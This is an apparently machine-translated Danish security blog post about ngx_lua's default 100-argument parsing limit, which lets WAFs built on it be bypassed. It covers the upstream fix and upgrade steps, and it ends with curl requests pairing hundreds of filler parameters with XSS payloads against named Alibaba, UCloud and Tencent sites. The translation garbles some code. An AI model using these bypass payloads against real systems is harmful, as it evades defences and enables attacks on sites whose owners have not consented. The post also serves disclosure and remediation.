|
|
Opslået på 27/04/2018 09.23.29
|
|
|
|

Når ginx Lua opnår parametre, opnås de første 100 parameterværdier som standard, og resten kasseres. Derfor vil WAF'er, der bruger Nginx Lua, som standard blive omgået. Den 20. april den 18. havde en person på sikkerhedspassageren allerede oplyst denne detalje, så jeg offentliggjorde også denne artikel 233.
Princip
Den officielle beskrivelse er som følger
Bemærk, at maksimalt 100 anmodningsargumenter som standard parses (inklusive dem med samme navn), og at yderligere anmodningsargumenter tavst kasseres for at beskytte mod potentielle argumenter Denial of service-angreb. Op til 100 anmodningsparametre (inklusive dem med samme navn) kan som standard parses, og yderligere anmodningsparametre droppes automatisk for at forhindre potentielle denial-of-service-angreb.
Søgning 100, omtrent den følgende metode har samme problem. ngx.req.get_uri_args Hent anmodningsparametrene for get ngx.req.get_post_args Få anmodningsparametrene for opslaget ngx.req.get_headers Få anmodningsheaderen ngx.decode_args Afkod URL'en for parametrene ngx.resp.get_headers Få svar-headeren I lua-nginx-modulets kildekode kan vi se, at kildekoden sætter standard maksimale anmodningsparameter og header til 100
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
Dog tilbyder den officielle en metode til at ændre standardværdien, såsom ngx.req.get_uri_args (200) for at få de første 200 anmodningsparametre.
Test
Hvis anmodningsparameteren er 101, kan den sidste anmodningsparameter ikke opnås.
curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'
Hvis du reducerer én anmodningsparameter, kan du få den sidste anmodningsparameter, når anmodningsparametrene er præcis 100.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 A: ZBG Jeg har dig, zbg
Bemærk, at standarden faktisk er 100 anmodningsparametre, og anmodningsparametrene efter 100 anmodningsparametre vil blive kasseret.
Der er noget mærkeligt, at i returindholdet ovenfor, midt i den ru position, er den endelige zbg-parameter allerede outputtet. Mit gæt er, at outputtet ikke er i rækkefølge, men rækkefølgen, som parsingen er i, følger rækkefølgen, hvori parametrene indsendes, fordi når den 101. parameterværdi er zbg, kan værdien ikke opnås.
Vedhæftet er python-scriptet, der genererer parametrene:
# Forfatter: ZBG # post:zbg@zbg.org # dato: 2018-04-03
a = '' For I i i interval(200): a = a + 'a{0}={1}&'.format(i+1, i+1) print a reparere Det anbefales naturligvis ikke at ændre MAX-værdien af parameteren i kildekoden. For uanset hvor stor værdien du sætter, kan den omgås. Det anbefales at sætte den inden for metodens parametre. Hvis du kan få længden af anmodningsparameteren og bruge en metode som ngx.req.get_uri_args (lenth), ville det så ikke være nok? Da jeg læste dokumentationen, fandt jeg ud af, at antallet af ønskede parametre ikke kunne opnås. Men hvis du sætter lenth til 0, kan du få alle de ønskede parametre.
Dette argument kan sættes til nul for at fjerne grænsen og for at behandle alle modtagne anmodningsargumenter. lokale ARG'er = ngx.req.get_uri_args(0)
Det frarådes dog kraftigt at sætte den til 0 for at forhindre potentielle denial-of-service-angreb.
Fjernelse af max_args cap frarådes kraftigt.
Faktisk undrede jeg mig over, hvorfor indstilling 0 kunne føre til et potentielt denial of service-angreb, og anmodningen alligevel ville gå til nginx, uanset hvor mange parametre der var i get eller post.
Jeg tog et problem op med den officielle medarbejder, og forfatteren sagde, at ngx.req.get_uri_args (0) vil øge serverens CPU- og hukommelsesforbrug. Senere testede jeg 200 parametre og brugte Nginx+php til at opnå den 200. parameter, hvilket betyder, at Nginx som standard ikke begrænser antallet af anmodede parametre. Så kan problemet ligge i Nginx Lua selv,Når Nginx Lua bruger ngx.req.get_uri_args(0) til at hente alle parametrene og itererer gennem dem, bruger det mere CPU og hukommelse, når der er mange parametre anmodet, og fører til sidst endda til en denial of service.。
Den 03/04/2018 rejste Bypass007 officielt et PROBLEM om denne fejlrettelse og tilføjede endelig officielt en ny funktion baseret på dette PROBLEM den 21. april 2018. Commit-postadressen for denne funktion: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
Funktionsbeskrivelsen er som følger: I versioner efter v0.10.13 (inklusive v0.10.13), når grænsen for antallet af forespørgsler overskrides, er den anden returværdi den trunkerede streng. Siden v0.10.13, når grænsen overskrides, vil den returnere en anden værdi, som er strengen "afskåret". Dog kan argumentet max_args funktion bruges til at tilsidesætte denne grænse: lokale ARG'er, ERR = ngx.req.get_uri_args(10) hvis err == "afskåret" så -- kan man vælge at ignorere eller afvise den aktuelle anmodning her slut
Så kom den endelige løsning.
Opgrader lua-nginx-modulet til v0.10.13 eller senere
Så begrænser du det samlede antal parametre, og for hvor meget det samlede antal er begrænset, synes jeg personligt, at 100 er nok
OpenResty opgraderer lua-nginx-modulmodulet
Jeg fandt ingen information om OpenResty-opgraderingsmodulet, så jeg fandt selv ud af, hvordan jeg opgraderer lua-nginx-modulmodulet.
Trinene er som følger:
Download den tilsvarende version af lua-nginx-modulmodulet WGET https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 pakke ud tar -zxvf v0.10.13 Slet den tidligere lua-nginx-modul-version rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5 Kopier det nye lua-nginx-modul MV LUA-nginx-module-0.10.13 OpenRESTY-1.9.15.1/bundle/ngx_lua-0.10.13 For kompilering, henvis til kompileringsparametrene for VeryNginx
Omgåelse af kabinettet
Det skal præciseres, at jeg ikke er sikker på, om de følgende WAF'er skal bruge Nginx Lua, men de kan omgås ved det samlede antal parametre.
Ali WAF
Denne WAF er en WAF, der bruges internt af Alibaba, altså den WAF, der bruges af domænenavne som *.taobao.com, og den er ikke blevet testet for den cloud WAF, der sælges af Alibaba Cloud. Først, anmod om en POST XSS Payload til at opsnappe den. curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com Gennem Fuzz blev det fundet, at når antallet af parametre øges til 478 med XSS Payload, bliver det ikke længere opfanget, og hjemmesiden kan tilgås normalt. curl -v -d 'A1=1&A2=2&A3=3&A4=4&A5=5&A6=6&A7=7&A8=8&A9=9&A10=10&A11=11&A12=12&A13=13&A14=14&A15=15&A16=16&A17=17&A18=18&A19=19&A20=20&A21=21&A22=22&A23=23&A24=24&A25=25&A26=26& A27=27&A28=28&A29=29&A30=30&A31=31&A32=32&A33=33&A34=34&A35=35&A36=36&A37=37&A38=38&A39=39&A40=40&A41=41&A42=42&A43=43&A44=44&A45=45&A46=46&A47=47&A48=48&A49=49&A50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& A74=74&A75=75&A76=76&A77=77&A78=78&A79=79&A80=80&A81=81&A82=82&A83=83&A84=84&A85=85&A86=86&A87=87&A88=88&A89=89&A90=90&A91=91&A92=92&A93=93&A94=94&A95=95&A96=96&A97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111=111&a112=112&a113=13&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133=133=134& A135=135&A136=136&A137=137&A138=138&A139=139&A140=140&A141=141&A142=142&A143=143&A144=144=144&A145=145&A146=146&A147=147&A148=148&A149=149&A150=150&A151=151&A152=152&A153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& A172=172&A173=173&A174=174&A175=175&A176=176&A177=177&A178=178&A179=179&A180=180&A181=181&A182=182&A183=183&A184=184&A185=185&A186=186&A187=187&A188=188&A189=189&A190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& A209=209&A210=210&A211=211&A212=212&A213=213&A214=214&A215=215&A216=216&A217=217&A218=218&A219=219&A220=220&A221=21&A2222=222=222&A223=23&a224=24&a225=25&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& A246=246&A247=247&A248=248&A249=249&A250=250&A251=251&A252=252&A253=253&A254=254&A255=255&A256=256&A257=257&A258=258&A259=259&A260=260&A261=261&a262=262&A263=263&A264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& A283=283&A284=284&A285=285&A286=286&A287=287&A288=288&A289=289&A290=290&A291=291&A292=292&A293=293&A294=294&A295=295&A296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& A320=320&A321=321&A322=322&A323=323&A324=324&A325=325&A326=326&A327=327&A328=328&A329=329&A330=330&A331=331&A332=332&A333=333&A334=334&A335=35&A336=336&A337=337&A338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355=355=356=356& A357=357&A358=358&A359=359&A360=360&A361=361&A362=362&A363=363&A364=364&A365=365&A366=366&A367=367&A368=368&A369=369&A370=370&A371=371&A372=372&A373=373&A374=374&A375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& A394=394&A395=395&A396=396&A397=397&A398=398&A399=399&A400=400&A401=401&A402=402&A403=403&A404=404&A405=405&A406=406&A407=407&A408=408&A409=409&A410=410&A411=411&A412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& A431=431&A432=432&A433=433&A434=434&A435=435&A436=436&A437=437&A438=438&A439=439&A440=440&A441=441&A442=442&A443=443&A444=444=445=445&A446=446&A447=447&A448=48&A449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455=455=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465=465&a466=466=467=467& A468=468&A469=469&a470=470&a471=471&A472=472&A473=473&A474=474&A475=475&A476=476&A477=477&A=<Img SRC=X onerror=ALERT(/xss/)>' lu.taobao.com
UCloud
Den WAF, der testes, er en WAF, der sælges af UCloud. Når anmodningsparameteren øges til 138, vil den ikke længere blive blokeret, og hjemmesiden vil blive tilgået normalt. curl -d 'A1=1&A2=2&A3=3&A4=4&A5=5&A6=6&A7=7&A8=8&A9=9&A10=10&A11=11&A12=12&A13=13&A14=14&A15=15&A16=16&A17=17&A18=18&A19=19&A20=20&A21=21&A22=22&A23=23&A24=24&A25=25&A26=26& A27=27&A28=28&A29=29&A30=30&A31=31&A32=32&A33=33&A34=34&A35=35&A36=36&A37=37&A38=38&A39=39&A40=40&A41=41&A42=42&A43=43&A44=44&A45=45&A46=46&A47=47&A48=48&A49=49&A50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& A74=74&A75=75&A76=76&A77=77&A78=78&A79=79&A80=80&A81=81&A82=82&A83=83&A84=84&A85=85&A86=86&A87=87&A88=88&A89=89&A90=90&A91=91&A92=92&A93=93&A94=94&A95=95&A96=96&A97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111=111&a112=112&a113=13&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133=133=134& a135=135&A136=136&A137=137&a=alert(1234)' taqu.cn
Tencent WAF
Denne WAF er en WAF, der bruges internt af Tencent, altså den WAF, der bruges af domænenavne som *.qq.com, og er ikke blevet testet til den cloud WAF, der sælges af Tencent Cloud. Når anmodningsparameteren stiger til 4000, vil den ikke længere blive blokeret, og hjemmesiden vil blive tilgået normalt. Tilfældige tests af følgende domæner påvirkes. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
resumé
Dette spørgsmål er meget enkelt, og du kan finde det ved at læse dokumentet grundigt. Men hvorfor fandt jeg det ikke ud af? Jeg synes stadig, det er for lidt tænkning. Reference
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
Tidligere:Lær Photoshop fra bunden, 18 lektioner fra nybegynder til gudNæste:Styrker og svagheder ved Lua og Luajit
|